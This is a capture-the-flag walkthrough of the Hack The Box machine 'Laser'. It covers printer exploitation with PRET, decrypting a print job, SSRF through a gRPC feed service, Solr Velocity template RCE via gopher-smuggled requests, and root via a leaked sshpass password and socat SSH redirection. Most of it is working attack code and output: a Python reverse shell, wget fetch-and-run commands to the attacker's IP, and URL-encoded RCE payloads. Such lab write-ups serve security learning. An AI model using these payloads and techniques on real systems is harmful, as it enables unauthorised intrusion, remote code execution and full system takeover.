Details
This machine is Laser from Hack The Box
Recon
kali@kali:~$ nmap -sV -p- 10.10.10.201
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-19 04:09 EST
Nmap scan report for 10.10.10.201
Host is up (0.013s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
9000/tcp open cslistener?
9100/tcp open jetdirect?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9000-TCP:V=7.91%I=7%D=11/19%Time=5FB63671%P=x86_64-pc-linux-gnu%r(N
SF:ULL,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\
SF:0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0
SF:\0\0\0\0\0\0\0\0\0")%r(GenericLines,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@
SF:\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0
SF:\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(GetRequest,3F,"\
SF:0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03
SF:\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\
SF:0\0\0\0\0")%r(HTTPOptions,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05
SF:\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x
SF:01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(RTSPRequest,3F,"\0\0\x18\x
SF:04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x0
SF:1\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:")%r(RPCCheck,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x
SF:06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(DNSVersionBindReqTCP,3F,"\0\0\x18\x04\
SF:0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0
SF:\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%
SF:r(DNSStatusRequestTCP,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\
SF:0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0
SF:\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(Help,3F,"\0\0\x18\x04\0\0\0\0\
SF:0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x
SF:08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(SSLSes
SF:sionReq,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\
SF:x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0
SF:\0\0\0\0\0\0\0\0\0\0\0")%r(TerminalServerCookie,3F,"\0\0\x18\x04\0\0\0\
SF:0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04
SF:\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0\0\0\0\0\0\0\0\0\0\0\0\0")%r(TLSS
SF:essionReq,3F,"\0\0\x18\x04\0\0\0\0\0\0\x04\0@\0\0\0\x05\0@\0\0\0\x06\0\
SF:0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\x01\0\0\x08\x06\0
SF:\0\0\0\0\0\0\0\0\0\0\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.56 seconds
User
This was an interesting start. The jetdirect port seemed to be a printer server, which led me to try https://github.com/RUB-NDS/PRET against it
kali@kali:~$ python pret.py 10.10.10.201 pjl
________________
_/_______________/|
/___________/___//|| PRET | Printer Exploitation Toolkit v0.40
|=== |----| || by Jens Mueller <jens.a.mueller@rub.de>
| | ô| ||
|___________| ô| ||
| ||/.´---.|| | || 「 pentesting tool that made
|-||/_____\||-. | |´ dumpster diving obsolete‥ 」
|_||=L==H==||_|__|/
(ASCII art by
Jan Foerster)
Connection to 10.10.10.201 established
Device: LaserCorp LaserJet 4ML
Welcome to the pret shell. Type help or ? to list commands.
10.10.10.201:/>
The connection worked so I seemed to be on the right track. I found a queue file
10.10.10.201:/> ?
Available commands (type help <topic>):
=======================================
append delete edit free info mkdir printenv set unlock
cat destroy env fuzz load nvram put site version
cd df exit get lock offline pwd status
chvol disable find help loop open reset timeout
close discover flood hold ls pagecount restart touch
debug display format id mirror print selftest traversal
10.10.10.201:/> ls
d - pjl
10.10.10.201:/> ls pjl
d - jobs
10.10.10.201:/> ls pjl/jobs
- 172199 queued
So I downloaded it
10.10.10.201:/> get pjl/jobs/queued
172199 bytes received.
Looking at the file it seemed to be encrypted. The printer must be able to decrypt it and the following article indicated the password might be in ram http://hacking-printers.net/wiki/index.php/Memory_access, so I took a nvram dump
10.10.10.201:/> nvram dump
Writing copy to nvram/10.10.10.201
................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................k...e....y.....13vu94r6..643rv19u
So I had the key
13vu94r6643rv19u
I was also able to verify the encryption type
10.10.10.201:/> env
[SNIP]
LPARM:ENCRYPTION MODE=AES [CBC]
But I was missing the IV. I made a copy of the file removing the b'
and '
at the start/end
kali@kali:~$ cat queue.b64| base64 -d > queue.decoded
kali@kali:~$ wc queue.decoded
527 2871 129144 queue.decoded
129144 is not a multiple of 16. As the key is 16 characters long I was expecting a block size of 16. So I opened the file in a hex editor
The first 8 bytes looked like some kind of checksum or signature. As the IV is not meant to be a secret, and the printer itself must be able to decrypt this file, I decided to try the 16 bytes after the first 8 as the IV. So I wrote a python script to try this
from Crypto.Cipher import AES
with open("queue.decoded", "rb") as f:
raw_data = f.read()
unknown = raw_data[0:8]
iv = raw_data[8:24]
data = raw_data[24:]
key = "13vu94r6643rv19u".encode()
aes = AES.new(key, AES.MODE_CBC, iv)
with open("queue.decrypted", "wb") as writer:
writer.write(aes.decrypt(data))
When I ran this I inspected the resulting file
kali@kali:~$ file queue.decrypted
queue.decrypted: PDF document, version 1.4
So I had decrypted it correctly. I took a look at the pdf
The important looking parts were
It may be protected from deserialization attacks. So I will use it as intended and see what I can find. I used the following guide for the grpc bits https://www.semantics3.com/blog/a-simplified-guide-to-grpc-in-python-6c4e25f0c506/
I knew there was a feed called Pushing Feeds
and I needed a proto file to define the following
a service called Print
has an rpc method called Feed
takes content as an Input parameter
returns Data
a message called Content
a field called data
a message called Data
a field called feed
Which led to the following file which I called laser.proto
syntax = "proto3";
service Print {
rpc Feed(Content) returns (Data) {}
}
message Content {
string data = 1;
}
message Data {
string feed = 1;
}
I then ran
kali@kali:~$ python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. laser.proto
Which created the following files
laser_pb2_grpc.py
laser_pb2.py
I then began to build a client to work with the server
kali@kali:~$ cat client.py
import grpc
import json
import pickle
import base64
import laser_pb2
import laser_pb2_grpc
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = laser_pb2_grpc.PrintStub(channel)
payload = {
"version": "v1.0",
"title": "Printer Feed",
"home_page_url": "http://printer.laserinternal.htb/",
"feed_url": "http://printer.laserinternal.htb/feeds.json",
"items": [
{
"id": "2",
"content_text": "Queue jobs"
},
{
"id": "1",
"content_text": "Failed items"
}
]
}
payload = json.dumps(payload)
payload = pickle.dumps(payload)
payload = base64.b64encode(payload)
content = laser_pb2.Content(data=payload)
r = stub.Feed(content)
print(r)
Which I ran
kali@kali:~$ python3 client.py
Traceback (most recent call last):
File "client.py", line 36, in <module>
r = stub.Feed(content)
File "/home/kali/.local/lib/python3.8/site-packages/grpc/_channel.py", line 923, in __call__
return _end_unary_response_blocking(state, call, False, None)
File "/home/kali/.local/lib/python3.8/site-packages/grpc/_channel.py", line 826, in _end_unary_response_blocking
raise _InactiveRpcError(state)
grpc._channel._InactiveRpcError: <_InactiveRpcError of RPC that terminated with:
status = StatusCode.UNKNOWN
details = "Exception calling application: (6, 'Could not resolve host: printer.laserinternal.htb')"
debug_error_string = "{"created":"@1605783254.527608988","description":"Error received from peer ipv4:10.10.10.201:9000","file":"src/core/lib/surface/call.cc","file_line":1061,"grpc_message":"Exception calling application: (6, 'Could not resolve host: printer.laserinternal.htb')","grpc_status":2}"
>
It couldn't find it's own internal host. So I decided to try modifying the feed_url
parameter to see if I could get SSRF. I setup a simplehttpserver and pointed the feed_url
at myself
kali@kali:~$ cat client.py
import grpc
import json
import pickle
import base64
import laser_pb2
import laser_pb2_grpc
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = laser_pb2_grpc.PrintStub(channel)
payload = {
"version": "v1.0",
"title": "Printer Feed",
"home_page_url": "http://printer.laserinternal.htb/",
"feed_url": "http://10.10.14.17/ssrf",
"items": [
{
"id": "2",
"content_text": "Queue jobs"
},
{
"id": "1",
"content_text": "Failed items"
}
]
}
payload = json.dumps(payload)
payload = pickle.dumps(payload)
payload = base64.b64encode(payload)
content = laser_pb2.Content(data=payload)
r = stub.Feed(content)
print(r)
Which I then ran
kali@kali:~$ python3 client.py
feed: "Pushing feeds"
In the simplehttpserver
10.10.10.201 - - [19/Nov/2020 05:56:44] code 404, message File not found
10.10.10.201 - - [19/Nov/2020 05:56:44] "GET /ssrf HTTP/1.1" 404 -
I have SSRF and it gives a message when it connected to something. So I killed my simplehttpserver and ran the client again in order to see what happens if it can't connect
python3 client.py
Traceback (most recent call last):
File "client.py", line 36, in <module>
r = stub.Feed(content)
File "/home/kali/.local/lib/python3.8/site-packages/grpc/_channel.py", line 923, in __call__
return _end_unary_response_blocking(state, call, False, None)
File "/home/kali/.local/lib/python3.8/site-packages/grpc/_channel.py", line 826, in _end_unary_response_blocking
raise _InactiveRpcError(state)
grpc._channel._InactiveRpcError: <_InactiveRpcError of RPC that terminated with:
status = StatusCode.UNKNOWN
details = "Exception calling application: (7, 'Failed to connect to 10.10.14.17 port 80: Connection refused')"
debug_error_string = "{"created":"@1605783454.004881015","description":"Error received from peer ipv4:10.10.10.201:9000","file":"src/core/lib/surface/call.cc","file_line":1061,"grpc_message":"Exception calling application: (7, 'Failed to connect to 10.10.14.17 port 80: Connection refused')","grpc_status":2}"
>
So the exception happens when it can't connect. So I turned my client into an internal port scanner
kali@kali:~$ cat client_port_scan.py
import grpc
import json
import pickle
import base64
import laser_pb2
import laser_pb2_grpc
for i in range(65535):
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = laser_pb2_grpc.PrintStub(channel)
payload = {
"version": "v1.0",
"title": "Printer Feed",
"home_page_url": "http://printer.laserinternal.htb/",
"feed_url": "http://localhost:{}".format(i),
"items": [
{
"id": "2",
"content_text": "Queue jobs"
},
{
"id": "1",
"content_text": "Failed items"
}
]
}
payload = json.dumps(payload)
payload = pickle.dumps(payload)
payload = base64.b64encode(payload)
content = laser_pb2.Content(data=payload)
try:
r = stub.Feed(content, timeout=1)
print("Port {} gave {}".format(i, r))
except:
pass
Which I then ran
kali@kali:~$ python3 client_port_scan.py
Port 8983 gave feed: "Pushing feeds"
Port 38243 gave feed: "Pushing feeds"
So port 8983 is listening on localhost, which is the default port for apache SOLR. I found a git repo with some attacks on this, the interesting one being https://github.com/veracode-research/solr-injection#7-cve-2019-17558-rce-via-velocity-template-by-_s00py. But for this to work I needed to be able to SSRF a POST request. So far I could only make it make GET.
I found a solution to this on payloads all the things, using the gopher:// url scheme https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#gopher
The first request I needed to make would have the following format
POST /solr/<SOLR NAME>/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
For solr name, the pdf contained the following line
4. Merge staging core to feed engine
So I would try the name staging
. I first wanted to test it against myself. So I set an nc listener on port 80 and built the following url encoded version of the payload
gopher://10.10.14.17:80/_POST%20%2Fpost%2Ftest%20HTTP%2F1.1%0AContent-Type%3A%20text%2Fplain%0A%0A%7B%22test-data%22%3A%20%7B%20%22more-test%22%3A%20%22data%22%2C%20%22even%22%3A%22more%22%20%7D%7D
Which when I SSRF'd
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.201] 60304
POST /post/test HTTP/1.1
Content-Type: text/plain
{"test-data": { "more-test": "data", "even":"more" }}
So I can make the POST request. As such I designed my payload as
POST /solr/staging/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
Which url encoded to
POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D
The second stage of the attack would be a simple GET request to
/solr/<SOLR NAME>/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27<COMMAND>%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
Again I assumed solr name would be staging
and replaced the command with
nc 10.10.14.17 4444
Which would connect back to prove the concept, this url encoded to
nc%2010.10.14.17%204444
So the overall payload would be
/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27nc%2010.10.14.17%204444%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
This led to a script of
import grpc
import json
import pickle
import base64
import laser_pb2
import laser_pb2_grpc
##### STAGE 1 ####
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = laser_pb2_grpc.PrintStub(channel)
payload = {
"version": "v1.0",
"title": "Printer Feed",
"home_page_url": "http://printer.laserinternal.htb/",
"feed_url": "gopher://localhost:8983/_POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20127.0.0.1%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D",
"items": [
{
"id": "2",
"content_text": "Queue jobs"
},
{
"id": "1",
"content_text": "Failed items"
}
]
}
payload = json.dumps(payload)
payload = pickle.dumps(payload)
payload = base64.b64encode(payload)
content = laser_pb2.Content(data=payload)
try:
r = stub.Feed(content, timeout=1)
print(r)
except:
pass
#### STAGE 2 ####
channel = grpc.insecure_channel('10.10.10.201:9000')
stub = laser_pb2_grpc.PrintStub(channel)
payload = {
"version": "v1.0",
"title": "Printer Feed",
"home_page_url": "http://printer.laserinternal.htb/",
"feed_url": "http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27nc%2010.10.14.17%204444%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end",
"items": [
{
"id": "2",
"content_text": "Queue jobs"
},
{
"id": "1",
"content_text": "Failed items"
}
]
}
payload = json.dumps(payload)
payload = pickle.dumps(payload)
payload = base64.b64encode(payload)
content = laser_pb2.Content(data=payload)
try:
r = stub.Feed(content, timeout=1)
print(r)
except:
pass
I set a listener
kali@kali:~$ nc -nvlp 4444
And ran the script, when I checked the listener afterwards
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.201] 46386
It worked. I tried a few reverse shell payloads afterwards, but none worked. So I instead tried a staged shell, I hosted a file called shell.py
containing
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.17",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
And made my payload
wget http://10.10.14.17/shell.py -O /tmp/shell.py && python3 /tmp/shell.py || python /tmp/shell.py
Which encoded to
wget%20http%3A%2F%2F10.10.14.17%2Fshell.py%20-O%20%2Ftmp%2Fshell.py%20%26%26%20python3%20%2Ftmp%2Fshell.py%20%7C%7C%20python%20%2Ftmp%2Fshell.py%20
When I ran it the following happened
10.10.10.201 - - [19/Nov/2020 08:23:03] "GET /shell.py HTTP/1.1" 200 -
10.10.10.201 - - [19/Nov/2020 08:23:03] "GET /shell.py HTTP/1.1" 200 -
But no shell. At this point I assumed the shell had been downloaded, just not executed. So I updated the payload to
python3 /tmp/shell.py
Which encoded to
python3%20%2Ftmp%2Fshell.py
And led to
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.201] 47844
/bin/sh: 0: can't access tty; job control turned off
$
$ id
uid=114(solr) gid=120(solr) groups=120(solr)
$ python3 -c "import pty;pty.spawn('/bin/bash')"
solr@laser:/opt/solr/server$
A shell spawned
User
solr@laser:~$ ls -la
ls -la
total 48
drwxr-x--- 8 solr solr 4096 Nov 19 09:05 .
drwxr-xr-x 14 root root 4096 Jun 26 13:02 ..
lrwxrwxrwx 1 solr solr 9 Jun 29 06:57 .bash_history -> /dev/null
drwxrwxr-x 3 solr solr 4096 Jul 6 07:06 .cache
drwxr-x--- 5 solr solr 4096 Jun 29 04:50 data
drwx------ 4 solr solr 4096 Jun 29 06:57 .local
-rw-r----- 1 solr solr 5027 Jun 26 13:02 log4j2.xml
drwxr-x--- 2 solr solr 4096 Nov 19 09:06 logs
drwxrwxr-x 2 solr solr 4096 Jun 26 13:02 .oracle_jre_usage
-rw-rw-r-- 1 solr solr 5 Nov 19 09:05 solr-8983.pid
-rw-rw-r-- 1 solr solr 8 Jun 29 04:46 solr-8984.pid
drwx------ 2 solr solr 4096 Aug 4 06:54 .ssh
I added my ssh key to authorized_keys and ssh'd back in
kali@kali:~$ ssh solr@10.10.10.201 -i ./id_rsa
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 19 Nov 2020 01:33:13 PM UTC
System load: 0.01
Usage of /: 42.5% of 19.56GB
Memory usage: 64%
Swap usage: 0%
Processes: 244
Users logged in: 0
IPv4 address for br-3ae8661b394c: 172.18.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.10.10.201
IPv6 address for ens160: dead:beef::250:56ff:feb9:ff44
73 updates can be installed immediately.
0 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Last login: Tue Aug 4 07:01:35 2020 from 10.10.14.3
solr@laser:~$
Where it turned out I did have access to the user flag
solr@laser:~$ find / -name "user.txt" 2>/dev/null
/home/solr/user.txt
solr@laser:/home/solr$ cat user.txt
[REDACTED]
Root
I then loaded up pspy64 which showed an interesting entry
solr@laser:/tmp$ ./pspy64
2020/11/19 13:39:14 CMD: UID=0 PID=277266 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz scp /opt/updates/files/bug-feed root@172.18.0.2:/root/feeds/
[SNIP}
2020/11/19 13:41:01 CMD: UID=0 PID=278653 | sshpass -p zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz ssh root@172.18.0.2 /tmp/clear.sh
Reading the docs for sshpass https://linux.die.net/man/1/sshpass it turned out that sometimes it would fail to hide the password. So I waited and after a while
2020/11/19 13:50:53 CMD: UID=0 PID=286357 | sshpass -p c413d115b3d87664499624e7826d8c5a scp /opt/updates/files/postgres-feed root@172.18.0.2:/root/feeds/
I had the ssh password for root on a docker container. I had also seen that sometimes root ssh's into the container, and runs /tmp/clear.sh
, I had a theory that if I redirected the root ssh connection from 172.18.0.2 back to 172.18.0.1 which would be the host, it would run /tmp/clean.sh
on the host as root. If I put a shell in that it would spawn me a root shell. To do this I needed to connect to the docker container, load socat, shut down the real ssh server and user socat to redirect port 22 back at the host. For the shell in /tmp/clear.sh
I reused the python one I loaded earlier
solr@laser:/opt/updates$ echo "python3 /tmp/shell.py" > /tmp/clear.sh
solr@laser:/opt/updates$ chmod +x /tmp/clear.sh
I then ssh'd into the docker where I downloaded and setup socat, then ran the exploit steps
solr@laser:/tmp$ ssh root@172.18.0.2
root@172.18.0.2's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Thu Nov 19 14:00:36 2020 from 172.18.0.1
root@20e3289bc183:~#
root@20e3289bc183:~# wget http://10.10.14.17/socat -O /tmp/socat
root@20e3289bc183:~# chmod +x /tmp/socat
root@20e3289bc183:~# service ssh stop
* Stopping OpenBSD Secure Shell server sshd
root@20e3289bc183:~# /tmp/socat TCP-LISTEN:22,fork,reuseaddr TCP:172.18.0.1:22
/tmp/socat TCP-LISTEN:22,fork,reuseaddr TCP:172.18.0.1:22
Not long later in my listener
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.201] 52522
/bin/sh: 0: can't access tty; job control turned off
#
# id
uid=0(root) gid=0(root) groups=0(root)
I had a root shell on the host and could grab the flag
# cd /root
# ls -la
total 56
drwx------ 6 root root 4096 Aug 4 07:04 .
drwxr-xr-x 20 root root 4096 May 7 2020 ..
lrwxrwxrwx 1 root root 9 Jun 15 04:04 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 3 root root 4096 Aug 3 13:03 .cache
-rwxr-xr-x 1 root root 59 Jun 24 05:14 clear.sh
-rwxr-xr-x 1 root root 346 Aug 3 04:25 feed.sh
drwxr-xr-x 3 root root 4096 Jul 1 03:33 .local
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rwxrwxr-x 1 root root 433 Jun 29 06:48 reset.sh
-r-------- 1 root root 33 Nov 19 09:05 root.txt
-rw-r--r-- 1 root root 66 Aug 4 07:04 .selected_editor
drwxr-xr-x 3 root root 4096 May 18 2020 snap
drwx------ 2 root root 4096 Jul 6 06:11 .ssh
-rwxr-xr-x 1 root root 265 Jun 26 11:36 update.sh
# cat root.txt
[REDACTED]